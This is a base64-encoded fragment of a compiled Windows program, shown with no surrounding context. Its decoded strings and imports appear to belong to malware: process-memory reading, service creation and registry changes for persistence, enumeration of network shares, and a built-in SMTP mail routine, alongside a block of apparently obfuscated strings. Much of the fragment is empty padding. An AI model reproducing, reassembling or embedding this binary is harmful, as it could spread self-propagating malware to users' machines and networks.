H40chSBLSQDB5gOLA/ZEMAQBdGlX6P76//+D+P9ZdDyD/wF0BYP/AnUWagLo5/r//2oBi+jo 3vr//1k7xVl0HFfo0vr//1lQ/xUk0UAAhcB1Cv8V4NBAAIvo6wIz7VfoOvr//4sDWYBkMAQA he10CVXowfn//1nrFTPA6xSDJVg5SQAAxwVUOUkACQAAAIPI/19eXVvDVot0JAiLRgyog3Qd qAh0Gf92COhMzv//ZoFmDPf7M8BZiQaJRgiJRgRew8zMzMzM/yW40UAA/yW00UAA/yWw0UAA /yVc0UAAVYvsUaE8OUkAUzPbO8OJXfx1IYtFCIvQOBh0f4oKgPlhfAqA+Xp/BYDpIIgKQjga derrZ1ZXagFTU1Nq/74AAgAA/3UIVlDo7cH//4v4g8QgO/t0OFfo8M3//zvDWYlF/HQqagFT V1Bq//91CFb/NTw5SQDowMH//4PEIIXAdA3/dfz/dQjo/a7//1lZ/3X86IfN//+LRQhZX15b ycPMzMzMzMzMzMzMVYvsV1ZTi00QC8kPhJUAAACLdQiLfQyNBTQ5SQCDeAgAdUO3QbNatiCN SQCKJgrkigd0IQrAdB1GRzj8cgY43HcCAuY4+HIGONh3AgLGOMR1CUl11zPJOMR0S7n///// ckT32etAM8Az24v/igYLwIofdCML23QfRkdRUFPo3LH//4vYg8QE6NKx//+DxARZO8N1CUl1 1TPJO8N0Cbn/////cgL32YvBW15fycPMzMxVi+xXVlOLdQyLfQiNBTQ5SQCDeAgAdTuw/4v/ CsB0LooGRoonRzjEdPIsQTwaGsmA4SACwQRBhuAsQTwaGsmA4SACwQRBOOB00hrAHP8PvsDr NLj/AAAAM9uL/wrAdCeKBkaKH0c42HTyUFPoPbH//4vYg8QE6DOx//+DxAQ4w3TaG8CD2P9b Xl/Jw1WL7FGhPDlJAFMz2zvDiV38dSGLRQiL0DgYdH+KCoD5QXwKgPlafwWAwSCICkI4GnXq 62dWV2oBU1NTav++AAEAAP91CFZQ6AnA//+L+IPEIDv7dDhX6AzM//87w1mJRfx0KmoBU1dQ av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAdBzZBYWVlZYXX2dvL09nbyVvD2 90F9+/F2ffvxdmFY2fB2VvD290Hxd13dYXrzePV89nZWdvN7QXD1eHNhc/Vy8fBW8Pb3QfXx 9GF19nby9PZ28lbw9vdB/fb79/NhdfZ28vT2dvJW8Pb3QXv292H68fV18XbyVvD291Z19EH7 c3BhevN49Xz2dlZ283tB+PX4YXX2dvL09nbyVvD290F78XBw82Fz9XLx8Fbw9vdBcPv4dWF6 83j1fPZ2Vnbze0H3+/TxYfpw13TxefF2VvD2VnR5QXv29P32Yfpw13TxefF2VvD2VnR5QfDz cPV78fj18WH4dfb683j0+Fbw9vdBe3XzefF49Phhe3Xz8nj1c1Z283tBd/P49XrzdmHz8Xh7 dXf1dvRWdvN7QXB58Xj1+FtY2l1h8/F4e3V39Xb0Vnbze0F6dfF3d93ZXWHz8Xh7dXf1dvRW dvN7QXR08Hjz8Xv19nb4YfPxeHt1d/V29FZ283tBavZ3e/Px8HXzeGHz8Xh7dXf1dvRWdvN7 QXfx8vV78XbxW9hh8/F4e3V39Xb0Vnbze0H0/fD2d2Hw9vt49fN4dvN7VvV2cvVWdvN7QXLz ePjxdnXx/WHz8Xh7dXf1dvRWdvN7QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB 